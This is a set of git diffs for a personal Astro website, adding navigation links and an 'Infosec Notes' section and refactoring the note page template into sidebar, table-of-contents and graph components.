<span class="text-base-content/30">•</span>
|
||||
<a href="/notes" class="link link-hover">Infosec Notes</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -68,6 +68,12 @@ if (error instanceof Error) {
|
||||
rel="noopener noreferrer"
|
||||
class="link link-hover">Report Issue</a
|
||||
>
|
||||
<span class="text-base-content/30">•</span>
|
||||
<a href="/blog" class="link link-hover">Blog</a>
|
||||
<span class="text-base-content/30">•</span>
|
||||
<a href="/projects" class="link link-hover">Projects</a>
|
||||
<span class="text-base-content/30">•</span>
|
||||
<a href="/notes" class="link link-hover">Infosec Notes</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -68,6 +68,12 @@ if (error instanceof Error) {
|
||||
rel="noopener noreferrer"
|
||||
class="link link-hover">Report Issue</a
|
||||
>
|
||||
<span class="text-base-content/30">•</span>
|
||||
<a href="/blog" class="link link-hover">Blog</a>
|
||||
<span class="text-base-content/30">•</span>
|
||||
<a href="/projects" class="link link-hover">Projects</a>
|
||||
<span class="text-base-content/30">•</span>
|
||||
<a href="/notes" class="link link-hover">Infosec Notes</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -10,7 +10,6 @@ const blogPosts = await getCollection("blog");
|
||||
const sortedPosts = blogPosts.sort(
|
||||
(a, b) => b.data.publishDate.getTime() - a.data.publishDate.getTime(),
|
||||
);
|
||||
|
||||
---
|
||||
|
||||
<Layout
|
||||
@@ -46,7 +45,12 @@ const sortedPosts = blogPosts.sort(
|
||||
) : (
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8">
|
||||
{sortedPosts.map((post) => (
|
||||
<BlogCard post={post} />
|
||||
<BlogCard
|
||||
displayBanner={true}
|
||||
displayTags={true}
|
||||
displayDate={true}
|
||||
post={post}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
)
|
||||
|
||||
@@ -3,26 +3,31 @@ import Layout from "../layouts/Layout.astro";
|
||||
import Hero from "../components/Hero.astro";
|
||||
import Projects from "../components/Projects.astro";
|
||||
import Blog from "../components/Blog.astro";
|
||||
import Notes from "../components/Notes.astro";
|
||||
import Contact from "../components/Contact.astro";
|
||||
import { siteConfig } from "../config";
|
||||
import avatar from "../../public/avatar.jpg";
|
||||
---
|
||||
|
||||
<Layout title={`Another Hadi`} description={siteConfig.description}>
|
||||
<main>
|
||||
<main class="px-10">
|
||||
<Hero
|
||||
name={siteConfig.name}
|
||||
title={siteConfig.title}
|
||||
description={siteConfig.description}
|
||||
avatar={avatar}
|
||||
location={siteConfig.location}
|
||||
socialLinks={siteConfig.socialLinks}
|
||||
gpgKey={siteConfig.gpgKey}
|
||||
rssFeed={siteConfig.rssFeed}
|
||||
/>
|
||||
|
||||
<hr class="border-base-300/30 max-w-6xl mx-auto" />
|
||||
<Blog />
|
||||
<hr class="border-base-300/30 max-w-6xl mx-auto" />
|
||||
<Notes />
|
||||
<hr class="border-base-300/30 max-w-6xl mx-auto" />
|
||||
<Projects />
|
||||
<hr class="border-base-300/30 max-w-6xl mx-auto" />
|
||||
<Contact />
|
||||
</main>
|
||||
</Layout>
|
||||
|
||||
+152
-404
@@ -1,7 +1,12 @@
|
||||
---
|
||||
import { getCollection, render } from "astro:content";
|
||||
import Layout from "../../layouts/Layout.astro";
|
||||
import { Shield, ChevronLeft, List, PanelRight } from "@lucide/astro";
|
||||
import { List, PanelRight } from "@lucide/astro";
|
||||
import NoteTOC from "../../components/NoteTOC.astro";
|
||||
import NoteNavSidebar from "../../components/NoteNavSidebar.astro";
|
||||
import NoteGraphSidebar from "../../components/NoteGraphSidebar.astro";
|
||||
import NoteVars from "../../components/NoteVars.svelte";
|
||||
import { getCategory, extractLinks, extractExternalLinks } from "../../utils/notes";
|
||||
|
||||
export async function getStaticPaths() {
|
||||
const notes = await getCollection("notes");
|
||||
@@ -12,35 +17,31 @@ export async function getStaticPaths() {
|
||||
}
|
||||
|
||||
const { entry } = Astro.props;
|
||||
const { Content } = await render(entry);
|
||||
const { Content, headings: astroHeadings } = await render(entry);
|
||||
|
||||
const allNotes = await getCollection("notes");
|
||||
const sortedNotes = allNotes.sort((a, b) => a.data.title.localeCompare(b.data.title));
|
||||
const categories = [...new Set(allNotes.map((n) => n.data.category))].sort();
|
||||
const sortedNotes = allNotes.sort((a, b) =>
|
||||
a.data.title.localeCompare(b.data.title),
|
||||
);
|
||||
const categories = [...new Set(allNotes.map(getCategory))].sort();
|
||||
|
||||
function formatDate(date: Date) {
|
||||
return date.toLocaleDateString("en-US", { month: "short", day: "numeric", year: "numeric" });
|
||||
}
|
||||
|
||||
function extractLinks(body: string): string[] {
|
||||
const re = /\(\/notes\/([^)#\s]+)\)/g;
|
||||
const ids: string[] = [];
|
||||
let m;
|
||||
while ((m = re.exec(body)) !== null) ids.push(m[1]);
|
||||
return [...new Set(ids)];
|
||||
}
|
||||
|
||||
const allLinks = Object.fromEntries(allNotes.map((n) => [n.id, extractLinks(n.body ?? "")]));
|
||||
const allLinks = Object.fromEntries(
|
||||
allNotes.map((n) => [n.id, extractLinks(n.body ?? "")]),
|
||||
);
|
||||
const forwardLinks = (allLinks[entry.id] ?? [])
|
||||
.map((id) => allNotes.find((n) => n.id === id))
|
||||
.filter(Boolean) as typeof allNotes;
|
||||
const backlinks = allNotes.filter(
|
||||
(n) => n.id !== entry.id && (allLinks[n.id] ?? []).includes(entry.id)
|
||||
(n) => n.id !== entry.id && (allLinks[n.id] ?? []).includes(entry.id),
|
||||
);
|
||||
|
||||
const graphNodes = [
|
||||
{ id: entry.id, title: entry.data.title, current: true },
|
||||
...forwardLinks.map((n) => ({ id: n.id, title: n.data.title, current: false })),
|
||||
...forwardLinks.map((n) => ({
|
||||
id: n.id,
|
||||
title: n.data.title,
|
||||
current: false,
|
||||
})),
|
||||
...backlinks
|
||||
.filter((n) => !forwardLinks.some((f) => f.id === n.id))
|
||||
.map((n) => ({ id: n.id, title: n.data.title, current: false })),
|
||||
@@ -50,51 +51,88 @@ const graphEdges = [
|
||||
...backlinks.map((n) => ({ from: n.id, to: entry.id })),
|
||||
];
|
||||
|
||||
function slugify(text: string) {
|
||||
return text.toLowerCase().replace(/`[^`]*`/g, "").replace(/[^\w\s-]/g, "").trim().replace(/[\s_]+/g, "-");
|
||||
}
|
||||
const headings: { depth: number; text: string; id: string }[] = [];
|
||||
const headingRe = /^(#{2,4}) (.+)$/gm;
|
||||
let hm;
|
||||
while ((hm = headingRe.exec(entry.body ?? "")) !== null) {
|
||||
const raw = hm[2].trim().replace(/\*\*|__|\*|_|`/g, "");
|
||||
headings.push({ depth: hm[1].length, text: raw, id: slugify(raw) });
|
||||
}
|
||||
const noteVars = [
|
||||
...new Set(
|
||||
Array.from(
|
||||
(entry.body ?? "").matchAll(/\$([a-zA-Z_][a-zA-Z0-9_]*)/g),
|
||||
(m) => m[1],
|
||||
),
|
||||
),
|
||||
];
|
||||
|
||||
const headings = astroHeadings.map((h) => ({ depth: h.depth, text: h.text, id: h.slug }));
|
||||
const externalLinks = extractExternalLinks(entry.body ?? "");
|
||||
---
|
||||
|
||||
<style>
|
||||
@media (min-width: 768px) {
|
||||
.drawer.md\:drawer-open > .drawer-side {
|
||||
top: 3rem;
|
||||
height: calc(100vh - 3rem);
|
||||
}
|
||||
}
|
||||
@media (min-width: 1280px) {
|
||||
.drawer.xl\:drawer-open > .drawer-side {
|
||||
top: 3rem;
|
||||
height: calc(100vh - 3rem);
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
||||
<Layout
|
||||
title={`${entry.data.title} — Security Notes`}
|
||||
title={`${entry.data.title} - Infosec Notes`}
|
||||
description={entry.data.description}
|
||||
>
|
||||
|
||||
<div class="drawer drawer-end min-h-[calc(100vh-3rem)]">
|
||||
<input id="graph-drawer" type="checkbox" class="drawer-toggle" />
|
||||
|
||||
<div class="drawer-content flex min-h-[calc(100vh-3rem)]">
|
||||
|
||||
<div class="drawer lg:drawer-open w-full">
|
||||
<main class="max-w-screen-2xl mx-auto">
|
||||
<div class="drawer md:drawer-open min-h-[calc(100vh-3rem)]">
|
||||
<input id="nav-drawer" type="checkbox" class="drawer-toggle" />
|
||||
|
||||
<div class="drawer-content flex min-h-[calc(100vh-3rem)] min-w-0">
|
||||
<div class="drawer drawer-end xl:drawer-open w-full" id="right-drawer">
|
||||
<input id="graph-drawer" type="checkbox" class="drawer-toggle" />
|
||||
|
||||
<div class="drawer-content flex flex-col min-w-0">
|
||||
<main class="flex-1 px-4 sm:px-6 lg:px-10 py-6 lg:py-10 min-w-0">
|
||||
<div class="max-w-2xl mx-auto lg:mx-0">
|
||||
|
||||
<div class="max-w-3xl mx-auto lg:mx-0">
|
||||
<div class="flex items-center justify-between mb-6">
|
||||
<a href="/notes" class="inline-flex items-center gap-1 text-sm text-base-content/35 hover:text-base-content/70 transition-colors">
|
||||
<ChevronLeft size={14} />Notes
|
||||
<div
|
||||
class="breadcrumbs text-xs font-mono text-base-content/35 p-0"
|
||||
>
|
||||
<ul>
|
||||
<li>
|
||||
<a href="/notes" class="hover:text-base-content/70"
|
||||
>notes</a
|
||||
>
|
||||
</li>
|
||||
<li>
|
||||
{
|
||||
entry.id.includes("/") ? (
|
||||
<a
|
||||
href={`/notes/${getCategory(entry)}`}
|
||||
class="hover:text-base-content/70"
|
||||
>
|
||||
{getCategory(entry)}
|
||||
</a>
|
||||
) : (
|
||||
getCategory(entry)
|
||||
)
|
||||
}
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="flex items-center gap-2">
|
||||
<label
|
||||
for="nav-drawer"
|
||||
class="lg:hidden flex items-center gap-1.5 font-mono text-xs text-base-content/40 hover:text-base-content/70 transition-colors border border-base-300/50 px-2 py-1 cursor-pointer"
|
||||
class="btn btn-ghost btn-xs md:hidden font-mono text-base-content/40 hover:text-base-content/70 border border-base-300/50"
|
||||
>
|
||||
<List size={11} />
|
||||
nav
|
||||
</label>
|
||||
<NoteVars client:load vars={noteVars} />
|
||||
<label
|
||||
for="graph-drawer"
|
||||
id="graph-toggle"
|
||||
class="flex items-center gap-1.5 font-mono text-xs text-base-content/40 hover:text-base-content/70 transition-colors border border-base-300/50 px-2 py-1 cursor-pointer"
|
||||
class="btn btn-ghost btn-xs xl:hidden font-mono text-base-content/40 hover:text-base-content/70 border border-base-300/50"
|
||||
title="Toggle graph"
|
||||
>
|
||||
<PanelRight size={11} />
|
||||
@@ -103,52 +141,35 @@ while ((hm = headingRe.exec(entry.body ?? "")) !== null) {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<header class="mb-10">
|
||||
<div class="flex items-center gap-3 mb-5">
|
||||
<span class="text-xl font-bold tracking-tight">
|
||||
<span class="text-primary/50 font-mono mr-0.5">/</span>{entry.data.category}
|
||||
</span>
|
||||
<span class="text-base-content/20 text-xs">·</span>
|
||||
<time datetime={entry.data.publishDate.toISOString()} class="text-xs text-base-content/35">
|
||||
{formatDate(entry.data.publishDate)}
|
||||
</time>
|
||||
</div>
|
||||
<h1 class="text-4xl sm:text-5xl font-bold tracking-tight mb-3">{entry.data.title}</h1>
|
||||
<p class="text-base-content/50 mb-4">{entry.data.description}</p>
|
||||
{entry.data.tags.length > 0 && (
|
||||
<div class="flex flex-wrap gap-1">
|
||||
<header class="mb-8">
|
||||
<h1
|
||||
class="text-4xl sm:text-5xl font-bold tracking-tight mb-3"
|
||||
>
|
||||
{entry.data.title}
|
||||
</h1>
|
||||
<p class="text-base-content/50 mb-4">
|
||||
{entry.data.description}
|
||||
</p>
|
||||
{
|
||||
entry.data.tags.length > 0 && (
|
||||
<div class="flex flex-wrap gap-1 mb-4">
|
||||
{entry.data.tags.map((tag) => (
|
||||
<a href={`/notes?tag=${tag}`}
|
||||
class="font-mono text-[10px] px-1.5 py-0.5 border border-base-300/40 text-base-content/25 hover:text-primary/70 hover:border-primary/40 transition-colors">
|
||||
<a
|
||||
href={`/notes?tag=${tag}`}
|
||||
class="badge badge-ghost badge-xs font-mono text-base-content/30 hover:text-primary/70 transition-colors"
|
||||
>
|
||||
{tag}
|
||||
</a>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
)
|
||||
}
|
||||
</header>
|
||||
|
||||
<div class="border-t border-base-300/30 mb-6"></div>
|
||||
<NoteTOC headings={headings} />
|
||||
|
||||
{headings.length > 0 && (
|
||||
<details class="mb-8 border border-base-300/40 group" style="background: oklch(4% 0 0);">
|
||||
<summary class="px-3 py-2 flex items-center gap-2 cursor-pointer list-none select-none font-mono text-xs text-base-content/35 hover:text-base-content/60 transition-colors">
|
||||
<span class="text-primary/40">§</span>
|
||||
<span>table of contents</span>
|
||||
<span class="ml-auto opacity-50 group-open:hidden">+</span>
|
||||
<span class="ml-auto opacity-50 hidden group-open:inline">−</span>
|
||||
</summary>
|
||||
<nav class="px-3 pb-3 pt-1 border-t border-base-300/30 space-y-0.5">
|
||||
{headings.map((h) => (
|
||||
<a href={`#${h.id}`}
|
||||
class:list={["block text-xs text-base-content/45 hover:text-base-content/80 transition-colors py-0.5", h.depth === 3 ? "pl-4" : h.depth === 4 ? "pl-8" : ""]}>
|
||||
<span class="font-mono text-primary/25 mr-1.5">{"#".repeat(h.depth)}</span>{h.text}
|
||||
</a>
|
||||
))}
|
||||
</nav>
|
||||
</details>
|
||||
)}
|
||||
|
||||
<div class="note-content text-sm leading-relaxed text-base-content/80
|
||||
<div
|
||||
class="note-content text-sm leading-relaxed text-base-content/80
|
||||
[&_h2]:text-lg [&_h2]:font-bold [&_h2]:mt-8 [&_h2]:mb-3 [&_h2]:text-base-content [&_h2]:tracking-tight [&_h2]:pb-1.5 [&_h2]:border-b [&_h2]:border-base-300/30
|
||||
[&_h3]:text-base [&_h3]:font-semibold [&_h3]:mt-6 [&_h3]:mb-2 [&_h3]:text-base-content/90
|
||||
[&_h4]:text-sm [&_h4]:font-semibold [&_h4]:mt-4 [&_h4]:mb-2 [&_h4]:text-base-content/80
|
||||
@@ -158,336 +179,77 @@ while ((hm = headingRe.exec(entry.body ?? "")) !== null) {
|
||||
[&_ul_li]:before:content-['–'] [&_ul_li]:before:text-base-content/25 [&_ul_li]:before:mr-2 [&_ul_li]:before:font-mono
|
||||
[&_ol]:mb-4 [&_ol]:ml-5 [&_ol]:list-decimal [&_ol]:space-y-1
|
||||
[&_li]:text-base-content/75
|
||||
[&_code]:px-1.5 [&_code]:py-0.5 [&_code]:font-mono [&_code]:text-xs [&_code]:bg-base-200 [&_code]:text-primary/80 [&_code]:border [&_code]:border-base-300/50
|
||||
[&_pre]:p-4 [&_pre]:overflow-x-auto [&_pre]:mb-4 [&_pre]:bg-base-200/60 [&_pre]:border [&_pre]:border-base-300/50 [&_pre]:text-xs
|
||||
[&_code]:px-1.5 [&_code]:py-0.5 [&_code]:rounded-field [&_code]:font-mono [&_code]:text-xs [&_code]:bg-base-200 [&_code]:text-primary/80 [&_code]:border [&_code]:border-base-300/50
|
||||
[&_pre]:p-4 [&_pre]:overflow-x-auto [&_pre]:mb-4 [&_pre]:rounded-box [&_pre]:bg-base-200/60 [&_pre]:border [&_pre]:border-base-300/50 [&_pre]:text-xs
|
||||
[&_pre_code]:bg-transparent [&_pre_code]:border-0 [&_pre_code]:p-0 [&_pre_code]:text-base-content/80
|
||||
[&_blockquote]:border-l-2 [&_blockquote]:border-primary/25 [&_blockquote]:pl-4 [&_blockquote]:italic [&_blockquote]:my-4 [&_blockquote]:text-base-content/50
|
||||
[&_table]:w-full [&_table]:mb-6 [&_table]:text-xs [&_table]:border-collapse
|
||||
[&_th]:text-left [&_th]:px-3 [&_th]:py-2 [&_th]:border [&_th]:border-base-300/50 [&_th]:bg-base-200/60 [&_th]:font-mono [&_th]:text-[10px] [&_th]:uppercase [&_th]:tracking-widest [&_th]:text-base-content/50
|
||||
[&_td]:px-3 [&_td]:py-2 [&_td]:border [&_td]:border-base-300/40 [&_td]:font-mono [&_td]:text-xs [&_td]:text-base-content/70
|
||||
[&_tr:nth-child(even)_td]:bg-base-200/20
|
||||
[&_hr]:border-t [&_hr]:border-base-300/30 [&_hr]:my-8">
|
||||
[&_hr]:border-t [&_hr]:border-base-300/30 [&_hr]:my-8"
|
||||
>
|
||||
<Content />
|
||||
</div>
|
||||
|
||||
<div class="border-t border-base-300/30 mt-12 pt-6 flex items-center justify-between font-mono text-[10px] text-base-content/25">
|
||||
<a href="/notes" class="hover:text-base-content/50 transition-colors">← all notes</a>
|
||||
<a href="/" class="hover:text-base-content/50 transition-colors">~/hadi</a>
|
||||
<div
|
||||
class="border-t border-base-300/30 mt-12 pt-6 flex items-center justify-between font-mono text-[10px] text-base-content/25"
|
||||
>
|
||||
<a
|
||||
href="/notes"
|
||||
class="hover:text-base-content/50 transition-colors"
|
||||
>
|
||||
← all notes
|
||||
</a>
|
||||
<a
|
||||
href="/"
|
||||
class="hover:text-base-content/50 transition-colors"
|
||||
>
|
||||
~/hadi
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
</div>
|
||||
|
||||
<div class="drawer-side z-50">
|
||||
<label for="nav-drawer" aria-label="close sidebar" class="drawer-overlay"></label>
|
||||
<aside
|
||||
class="w-56 min-h-full flex flex-col border-r border-base-300/60"
|
||||
style="background: oklch(4% 0 0);"
|
||||
>
|
||||
<div class="px-4 py-4 border-b border-base-300/40">
|
||||
<a href="/notes" class="flex items-center gap-2 mb-3 hover:text-primary transition-colors">
|
||||
<Shield size={13} class="text-primary/60 shrink-0" />
|
||||
<span class="font-mono text-xs text-primary/60 tracking-widest uppercase">security notes</span>
|
||||
</a>
|
||||
<div class="flex items-center gap-1.5 bg-base-200/50 px-2 py-1.5 border border-base-300/40">
|
||||
<span class="font-mono text-xs text-base-content/30">›</span>
|
||||
<input
|
||||
data-search
|
||||
type="text"
|
||||
placeholder="search..."
|
||||
class="bg-transparent font-mono text-xs text-base-content/70 placeholder:text-base-content/25 outline-none w-full"
|
||||
<div class="drawer-side z-[60]">
|
||||
<label
|
||||
for="graph-drawer"
|
||||
aria-label="close sidebar"
|
||||
class="drawer-overlay"></label>
|
||||
<NoteGraphSidebar
|
||||
entry={entry}
|
||||
graphNodes={graphNodes}
|
||||
graphEdges={graphEdges}
|
||||
forwardLinks={forwardLinks}
|
||||
backlinks={backlinks}
|
||||
externalLinks={externalLinks}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<nav class="px-3 py-3 flex-1 overflow-y-auto">
|
||||
{categories.map((cat) => (
|
||||
<div class="mb-4">
|
||||
<div class="px-1 mb-1.5">
|
||||
<span class="text-sm font-bold tracking-tight">
|
||||
<span class="text-primary/50 font-mono mr-0.5">/</span>{cat}
|
||||
</span>
|
||||
</div>
|
||||
<ul class="ml-3 space-y-0.5 border-l border-base-300/30 pl-2">
|
||||
{sortedNotes.filter((n) => n.data.category === cat).map((n) => (
|
||||
<li>
|
||||
<a
|
||||
href={`/notes/${n.id}`}
|
||||
class:list={[
|
||||
"nav-item font-mono text-xs block py-0.5 px-1 truncate transition-colors",
|
||||
n.id === entry.id
|
||||
? "text-primary bg-primary/8"
|
||||
: "text-base-content/45 hover:text-base-content/80 hover:bg-base-200/30",
|
||||
]}
|
||||
data-title={n.data.title.toLowerCase()}
|
||||
data-tags={n.data.tags.join(",")}
|
||||
>
|
||||
{n.id === entry.id ? "▶ " : ""}{n.data.title}
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
))}
|
||||
</nav>
|
||||
</aside>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="drawer-side z-40">
|
||||
<label for="graph-drawer" aria-label="close sidebar" class="drawer-overlay xl:hidden"></label>
|
||||
<aside
|
||||
id="right-sidebar"
|
||||
class="w-52 min-h-full flex flex-col border-l border-base-300/60"
|
||||
style="background: oklch(4% 0 0);"
|
||||
>
|
||||
<div class="border-b border-base-300/40">
|
||||
<p class="font-mono text-[10px] text-base-content/25 uppercase tracking-widest px-3 pt-3 pb-2">graph</p>
|
||||
<canvas
|
||||
id="note-graph"
|
||||
height="190"
|
||||
style="width:100%; display:block; background: oklch(2% 0 0); cursor:default;"
|
||||
></canvas>
|
||||
{graphNodes.length <= 1 && (
|
||||
<p class="font-mono text-[9px] text-base-content/20 text-center py-2">no connections yet</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{forwardLinks.length > 0 && (
|
||||
<div class="p-3 border-b border-base-300/40">
|
||||
<p class="font-mono text-[10px] text-base-content/25 uppercase tracking-widest mb-2">links</p>
|
||||
<ul class="space-y-1">
|
||||
{forwardLinks.map((n) => (
|
||||
<li>
|
||||
<a href={`/notes/${n.id}`}
|
||||
class="font-mono text-xs text-base-content/45 hover:text-primary/80 transition-colors block truncate">
|
||||
→ {n.data.title}
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{backlinks.length > 0 && (
|
||||
<div class="p-3">
|
||||
<p class="font-mono text-[10px] text-base-content/25 uppercase tracking-widest mb-2">backlinks</p>
|
||||
<ul class="space-y-1">
|
||||
{backlinks.map((n) => (
|
||||
<li>
|
||||
<a href={`/notes/${n.id}`}
|
||||
class="font-mono text-xs text-base-content/45 hover:text-primary/80 transition-colors block truncate">
|
||||
← {n.data.title}
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{forwardLinks.length === 0 && backlinks.length === 0 && (
|
||||
<div class="p-3">
|
||||
<p class="font-mono text-[9px] text-base-content/20">no linked notes</p>
|
||||
</div>
|
||||
)}
|
||||
</aside>
|
||||
<div class="drawer-side z-[70]">
|
||||
<label for="nav-drawer" aria-label="close sidebar" class="drawer-overlay"></label>
|
||||
<NoteNavSidebar
|
||||
notes={sortedNotes}
|
||||
currentEntry={entry}
|
||||
categories={categories}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script is:inline define:vars={{ graphNodes, graphEdges }}>
|
||||
window.__graphNodes = graphNodes;
|
||||
window.__graphEdges = graphEdges;
|
||||
</script>
|
||||
</main>
|
||||
</Layout>
|
||||
|
||||
<script>
|
||||
const PRIMARY = "oklch(71% 0.0863 296.59)";
|
||||
|
||||
type GNode = { id: string; title: string; current: boolean; x: number; y: number; vx: number; vy: number };
|
||||
type GEdge = { from: string; to: string };
|
||||
let stopGraph: (() => void) | null = null;
|
||||
|
||||
function startGraph(): (() => void) | null {
|
||||
const w = window as typeof window & { __graphNodes?: { id: string; title: string; current: boolean }[]; __graphEdges?: GEdge[] };
|
||||
const graphNodes = w.__graphNodes ?? [];
|
||||
const graphEdges: GEdge[] = w.__graphEdges ?? [];
|
||||
const canvas = document.getElementById("note-graph") as HTMLCanvasElement | null;
|
||||
if (!canvas || graphNodes.length === 0) return null;
|
||||
|
||||
const W = canvas.width = canvas.offsetWidth;
|
||||
const H = canvas.height = 190;
|
||||
const ctx = canvas.getContext("2d")!;
|
||||
|
||||
const nodes: GNode[] = graphNodes.map((n) => ({
|
||||
...n,
|
||||
x: n.current ? W / 2 : W / 2 + (Math.random() - 0.5) * 80,
|
||||
y: n.current ? H / 2 : H / 2 + (Math.random() - 0.5) * 80,
|
||||
vx: 0,
|
||||
vy: 0,
|
||||
}));
|
||||
|
||||
let dragging: GNode | null = null;
|
||||
let hovered: GNode | null = null;
|
||||
|
||||
function nodeAt(x: number, y: number): GNode | null {
|
||||
return nodes.find((n) => {
|
||||
const dx = n.x - x, dy = n.y - y;
|
||||
return Math.sqrt(dx * dx + dy * dy) < (n.current ? 10 : 8);
|
||||
}) ?? null;
|
||||
}
|
||||
|
||||
function tick() {
|
||||
for (let i = 0; i < nodes.length; i++) {
|
||||
for (let j = i + 1; j < nodes.length; j++) {
|
||||
const a = nodes[i], b = nodes[j];
|
||||
const dx = b.x - a.x, dy = b.y - a.y;
|
||||
const d = Math.sqrt(dx * dx + dy * dy) || 1;
|
||||
const f = 900 / (d * d);
|
||||
a.vx -= (dx / d) * f; a.vy -= (dy / d) * f;
|
||||
b.vx += (dx / d) * f; b.vy += (dy / d) * f;
|
||||
}
|
||||
}
|
||||
for (const e of graphEdges) {
|
||||
const a = nodes.find((n: GNode) => n.id === e.from);
|
||||
const b = nodes.find((n: GNode) => n.id === e.to);
|
||||
if (!a || !b) continue;
|
||||
const dx = b.x - a.x, dy = b.y - a.y;
|
||||
const d = Math.sqrt(dx * dx + dy * dy) || 1;
|
||||
const f = (d - 75) * 0.04;
|
||||
a.vx += (dx / d) * f; a.vy += (dy / d) * f;
|
||||
b.vx -= (dx / d) * f; b.vy -= (dy / d) * f;
|
||||
}
|
||||
for (const n of nodes) {
|
||||
n.vx += (W / 2 - n.x) * 0.025;
|
||||
n.vy += (H / 2 - n.y) * 0.025;
|
||||
}
|
||||
for (const n of nodes) {
|
||||
if (n === dragging) continue;
|
||||
n.vx *= 0.78; n.vy *= 0.78;
|
||||
n.x = Math.max(16, Math.min(W - 16, n.x + n.vx));
|
||||
n.y = Math.max(16, Math.min(H - 16, n.y + n.vy));
|
||||
}
|
||||
}
|
||||
|
||||
function draw() {
|
||||
ctx.clearRect(0, 0, W, H);
|
||||
ctx.fillStyle = "oklch(2% 0 0)";
|
||||
ctx.fillRect(0, 0, W, H);
|
||||
|
||||
const connected = new Set();
|
||||
if (hovered) {
|
||||
for (const e of graphEdges) {
|
||||
if (e.from === hovered.id) connected.add(e.to);
|
||||
if (e.to === hovered.id) connected.add(e.from);
|
||||
}
|
||||
}
|
||||
|
||||
for (const e of graphEdges) {
|
||||
const a = nodes.find((n: GNode) => n.id === e.from);
|
||||
const b = nodes.find((n: GNode) => n.id === e.to);
|
||||
if (!a || !b) continue;
|
||||
const lit = hovered && (e.from === hovered.id || e.to === hovered.id);
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(a.x, a.y);
|
||||
ctx.lineTo(b.x, b.y);
|
||||
ctx.strokeStyle = lit ? "oklch(55% 0 0)" : "oklch(27% 0 0)";
|
||||
ctx.lineWidth = lit ? 1.5 : 1;
|
||||
ctx.stroke();
|
||||
}
|
||||
|
||||
for (const n of nodes) {
|
||||
const isHov = hovered?.id === n.id;
|
||||
const isCon = connected.has(n.id);
|
||||
const r = n.current ? 7 : isHov ? 6 : 4.5;
|
||||
|
||||
if (isHov && !n.current) {
|
||||
ctx.beginPath();
|
||||
ctx.arc(n.x, n.y, r + 5, 0, Math.PI * 2);
|
||||
ctx.fillStyle = "oklch(71% 0.0863 296.59 / 0.15)";
|
||||
ctx.fill();
|
||||
}
|
||||
|
||||
ctx.beginPath();
|
||||
ctx.arc(n.x, n.y, r, 0, Math.PI * 2);
|
||||
ctx.fillStyle = n.current
|
||||
? PRIMARY
|
||||
: isHov ? "oklch(78% 0.05 296.59)"
|
||||
: isCon ? "oklch(58% 0.03 296.59)"
|
||||
: "oklch(40% 0 0)";
|
||||
ctx.fill();
|
||||
|
||||
if (n.current || isHov || isCon) {
|
||||
ctx.font = `${n.current ? "10px" : "9px"} monospace`;
|
||||
ctx.textAlign = "center";
|
||||
ctx.fillStyle = n.current ? "oklch(87% 0 0)" : "oklch(62% 0 0)";
|
||||
const label = n.title.length > 14 ? n.title.slice(0, 13) + "…" : n.title;
|
||||
ctx.fillText(label, n.x, n.y + r + 9);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let animId: number;
|
||||
function loop() { tick(); draw(); animId = requestAnimationFrame(loop); }
|
||||
animId = requestAnimationFrame(loop);
|
||||
|
||||
canvas.addEventListener("mousedown", (e) => {
|
||||
const r = canvas.getBoundingClientRect();
|
||||
const sx = W / canvas.offsetWidth;
|
||||
dragging = nodeAt((e.clientX - r.left) * sx, (e.clientY - r.top) * (H / canvas.offsetHeight));
|
||||
});
|
||||
canvas.addEventListener("mousemove", (e) => {
|
||||
const r = canvas.getBoundingClientRect();
|
||||
const sx = W / canvas.offsetWidth;
|
||||
const x = (e.clientX - r.left) * sx;
|
||||
const y = (e.clientY - r.top) * (H / canvas.offsetHeight);
|
||||
if (dragging) { dragging.x = x; dragging.y = y; dragging.vx = 0; dragging.vy = 0; }
|
||||
hovered = nodeAt(x, y);
|
||||
canvas.style.cursor = hovered && !hovered.current ? "pointer" : "default";
|
||||
});
|
||||
canvas.addEventListener("mouseup", () => { dragging = null; });
|
||||
canvas.addEventListener("mouseleave", () => { dragging = null; hovered = null; });
|
||||
canvas.addEventListener("click", (e) => {
|
||||
const r = canvas.getBoundingClientRect();
|
||||
const sx = W / canvas.offsetWidth;
|
||||
const n = nodeAt((e.clientX - r.left) * sx, (e.clientY - r.top) * (H / canvas.offsetHeight));
|
||||
if (n && !n.current) window.location.href = `/notes/${n.id}`;
|
||||
});
|
||||
|
||||
return () => cancelAnimationFrame(animId);
|
||||
}
|
||||
|
||||
function init() {
|
||||
if (stopGraph) { stopGraph(); stopGraph = null; }
|
||||
|
||||
const graphDrawer = document.getElementById("graph-drawer") as HTMLInputElement | null;
|
||||
if (!graphDrawer) return;
|
||||
|
||||
function onGraphDrawerChange() {
|
||||
if (graphDrawer!.checked) {
|
||||
requestAnimationFrame(() => { stopGraph = startGraph() ?? null; });
|
||||
} else {
|
||||
if (stopGraph) { stopGraph(); stopGraph = null; }
|
||||
}
|
||||
}
|
||||
graphDrawer.addEventListener("change", onGraphDrawerChange);
|
||||
|
||||
const xlQuery = window.matchMedia("(min-width: 1280px)");
|
||||
if (xlQuery.matches && !graphDrawer.checked) {
|
||||
graphDrawer.checked = true;
|
||||
onGraphDrawerChange();
|
||||
}
|
||||
xlQuery.addEventListener("change", (e) => {
|
||||
if (!e.matches && graphDrawer.checked) {
|
||||
